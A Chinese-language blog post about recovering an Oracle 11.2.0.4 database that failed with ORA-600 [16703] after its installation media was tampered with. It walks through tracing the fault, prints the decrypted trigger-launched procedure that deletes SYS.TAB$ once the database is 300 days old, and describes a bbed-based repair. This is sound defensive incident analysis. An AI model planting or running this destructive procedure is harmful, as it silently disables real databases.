數據恢復:被注入的軟件及 ORA-600 16703 災難的恢復

最近幫助一個客戶恢復數據庫,遇到了如下這個問題。讓我們再一次驚醒於數據安全,如果不做好防範,問題總是會來得猝不及防。

案發1.jpg

 

客戶在嘗試啓動數據庫時,是這樣一個 ORA-600 錯誤映入眼簾,反覆重試無法消除問題,歷史備份,同樣存在問題,客戶毫無防範的,陷入一場數據庫災難:

SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018

Copyright (c) 1982, 2013, Oracle.  All rights reserved.

Connected to an idle instance.

 

SQL> startup mount;

ORACLE instance started.

Database mounted.

 

SQL> alter database open;

alter database open

*

ERROR at line 1:

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],

[], [], [], [], [], []

Process ID: 1236

Session ID: 1 Serial number: 5

按照我的思路,第一步是啓用 10046 跟蹤一下問題的出現位置:

2.jpg

 

從跟蹤文件中,可以找到如下信息,最後執行的是 obj$ 的對象訪問,綁定變量傳入值是 20 ,

3.jpg

 

注意,最後出錯前的遞歸查詢,其 BINS # 605191324 事實上對應的就是 bootstrap$ 的 初始化過程:

PARSING IN CURSOR #605191324 len=188 dep=1 uid=0 oct=1 lid=0 tim=77597981 hv=4006182593 ad='23987650' sqlid='32r4f1brckzq1'

create table bootstrap$ (

END OF STMT

PARSE #605191324:c=0,e=372,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=77597979

EXEC #605191324:c=0,e=78,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=0,tim=77598086

CLOSE #605191324:c=0,e=4,dep=1,type=0,tim=77598125

在這個遞歸過程中,取得所有引導數據庫啓動所需SQL,然後再順序加載內容,完成內存初始化。

 

最後出現錯誤之處是 20 號對象,在數據庫中是 ICOL$ 對象:

SQL> select object_name from dba_objects where object_id=20;

 

OBJECT_NAME

--------------------------------------------------------------

ICOL$

在 bootstrap$ 中,可以找到這條記錄,在初始化這個對象的過程中,數據庫在 TAB$ 中找不到這條記錄,就出現了 16703 的錯誤:

CREATE TABLE ICOL$("OBJ#" NUMBER NOT NULL,"BO#" NUMBER NOT NULL,"COL#" NUMBER NOT NULL,"POS#" NUMBER NOT NULL,"SEGCOL#" NUMBER NOT NULL,"SEGCOLLENGTH" NUMBER NOT NULL,"OFFSET" NUMBER NOT NULL,"INTCOL#" NUMBER NOT NULL,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE (  OBJNO 20 TABNO 4) CLUSTER C_OBJ#(BO#)

 

在進程的轉儲文件中,也可以看懂對於 TAB$ 的遞歸訪問,綁定變量是 20 :

 

4.jpg

 

再來看看 ORA-600 錯誤,幾個參數含義如下:1403 指記錄未發現;20 指對象號:

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],

[], [], [], [], [], []

 

$ oerr ora 1403

01403, 00000, "no data found"

// *Cause: No data was found from the objects.

// *Action: There was no data from the objects which may be due to end of fetch.

 

所以,現在問題很清楚了,是因爲 20 號對象遞歸時找不到,這是被惡意刪除了。

 

這就是此前曾經被披露的,數據庫安裝介質被注入的問題,惜分飛曾經記錄過這個問題。

 

強烈警示:在下載Oracle安裝介質時,一定要從可靠來源下載,Oracle 官網是最佳途徑。當從未知來源獲得安裝軟件時,你就可能面臨着注入風險。這一次的客戶就是遭遇到了這個問題的威脅。

 

推薦閱讀:防範攻擊 加強管控 - 數據庫安全的16條軍規

在這個案例中,被注入的文件是:

$ORACLE_HOME/rdbms/admin/prvtsupp.plb

 

這個程序包文件最後被注入了一個觸發器,這個啓動觸發器,當數據庫啓動之後被觸發執行:

 

這個觸發器執行的是前面的加密代碼,存儲過程,這個存儲過程解密後的代碼如下,其代碼邏輯就是,判斷數據庫的創建時間大於 300 天,然後創建一個備份表,備份 tab$ 內容之後,清空 TAB$ 表。

此後,數據庫當然就無法啓動了:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT :=10;

BEGIN 

   SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=300) THEN 

   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';

   DELETE SYS.TAB$;

   COMMIT;

   EXECUTE IMMEDIATE 'alter system checkpoint';

   END IF;

END;

 

所以我們再次提示大家:由於這個攻擊,具有潛伏性,如果你是從網絡下載了Oracle安裝包,尤其是 11.2.0.4 版本,建議用戶檢查你的數據庫,確保安全。

 

由於 Oracle 的 11.2.0.4 版本要從 MOS 上下載,需要具有Oracle的授權,所以很多非授權用戶從其他來源下載,就面臨了風險。

 

6.jpg

那麼怎麼解決這個問題呢?

其實也很簡單,當刪除了 TAB$ 表中的內容後,數據庫是啓動引導遇到故障,所以我們只要找到一個良好運行的同平臺、同版本 SYSTEM 文件,將引導塊全部複製回來,就可以啓動數據庫了,以下是我的恢復過程截取的一部分BLOCK:

7.jpg

而且,注意,這一次的黑客是很有分寸的,在刪除之前備份了 TAB$ 的內容,所以只要啓動數據庫,從備份表中(ORACHK'||SUBSTR(SYS_GUID,10)||' )恢復 TAB$ 的內容,數據庫就可以完美的修復回來。

 

這和 2016 年,比特幣勒索事件不同,那個案例的代碼是 Truncate 了用戶數據表,處理起來難度更大,參考:知己知彼-關於Oracle安全比特幣勒索問題揭祕和防範

 

以下是整個恢復過程前臺的最後兩個階段,當使用 bbed 複製修復後,啓動數據庫時,收到提示,要將數據庫以 upgrade 模式啓動,這是某個標誌的影響:

SQL> startup

ORACLE instance started.

 

Total System Global Area  531476480 bytes

Fixed Size                  1406404 bytes

Variable Size             318769724 bytes

Database Buffers          205520896 bytes

Redo Buffers                5779456 bytes

Database mounted.

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-39700: database must be opened with UPGRADE option

Process ID: 1648

Session ID: 1 Serial number: 5

以 upgrade 模式啓動,數據庫成功完美打開:

SQL> startup upgrade;

ORACLE instance started.

 

Total System Global Area  531476480 bytes

Fixed Size                  1406404 bytes

Variable Size             318769724 bytes

Database Buffers          205520896 bytes

Redo Buffers                5779456 bytes

Database mounted.

Database opened.

 

SQL> select * from dual;

 

D

-

X

 

 

最後總結一下,這個案例給我們的警示:

 

1. 遵守規則和規範很重要,保護知識產權,規範部署,天然可以防範很多問題;

 

2. 深入學習、知識儲備,是從容應對問題的根本之道,理解了原理,才能舉重若輕,觸類旁通;

 

3. 只有按時備份還不夠,定期驗證檢查非常重要

 

4. 隨時關注數據庫中的特殊對象和變更,是非常重要的;

 

數據安全的關注,時刻不能停止!

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章